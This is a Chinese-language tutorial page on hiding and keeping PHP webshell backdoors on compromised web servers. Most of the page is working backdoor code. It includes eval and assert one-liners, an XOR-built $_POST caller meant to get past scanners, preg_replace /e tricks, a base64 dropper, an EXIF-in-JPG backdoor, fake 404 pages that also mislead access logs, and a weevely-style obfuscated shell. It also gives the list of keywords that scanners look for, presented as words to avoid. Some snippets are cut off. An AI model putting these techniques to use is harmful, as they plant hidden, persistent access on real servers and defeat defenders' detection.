PHP后门隐藏与维持技巧，php后门技巧-php手册-php.cn

PHP后门隐藏与维持技巧，php后门技巧

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限，WEB权限，系统用户权限等等.此文则对大众后门隐藏的一些思路做科普。

AD：

0×00前言

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限，WEB权限，系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

eval($_POST['cmd']);?>

或这样

$_POST['cmd']);?>

当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.

但是运维直观寻找我们shell的方式也有很多,如

◆通过文件名/修改时间/大小,文件备份比对发现异常

◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等

◆通过Access.log访问日志发现后门所在

◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等

针对常见的检测方式,总结以下七常用手法对shell进行隐藏

0×01规避

看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的

常见的关键词如:

◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用

@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

构造生成,当然,嫌太直观可以写作这样

$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

执行无误,且绕过普通扫描器,也可依赖之写新的临时shell

0×02特性

借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)

eg.:

${@eval(phpinfo())}

{}可解析双引号内的变量内容，@保持出错后继续执行

然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

"//e",$_POST['cmd'],"");?>

这玩法显然已经进了扫描器黑名单,简单修改下

function funfunc($str){}
echo preg_replace("/(.+?)/ies", 'funfunc("\1")', $_POST["cmd"]);
?>

执行了,没有被发现

执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行

funfunc("{${phpinfo()}}")

另一种方法

"\$arr=\"".$_GET['cmd']."\";");?>

0×03包含

文件包含是众人都玩过的方法,只是包含也有技巧

普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现

看此脚本

if(@isset($_GET[content]))
{
$fp=fopen('README','w');
file_put_contents('README',"
@file_put_contents('README',$_GET[content],FILE_APPEND);
fclose($fp);
require 'README';}
?>

算是解决了一点问题,需求的shell可随用随生成,进而包含之

可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现

编码生成的方式创建shell,随访问而生成.

fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
?>

可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.

当然对于启发式之类的新概念就不考虑了

在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片

$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

参考：一种隐藏在JPG图片EXIF中的后门

这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行

此处可能会提示 Call to undefined function exif_read_data()

需要修改php.ini, extension=php_exif.dll

将其加载顺序改为extension=php_mbstring.dll的后面

可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒

当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…

0×04隐匿

为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚

nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
404 Not Found
Not Found
The requested URL was not found on this server.
@preg_replace("/[checksql]/e",$_POST['cmd'],"saft");
?>

借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了

但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本

header('HTTP/1.1 404');
ob_start();
@fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
ob_end_clean();
?>

访问之,是真正的404,没错,日志中也是这样

但此刻当前目录已生成我们要连接的脚本

0×05混淆

用过weevely工具的童鞋应该知道,其生成的免杀shell像这样

$penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
$kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
$ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
$wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
$zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
$smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
$jgfi = $ftdf("l","","lclrlelaltel_functlilon");
$rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
?>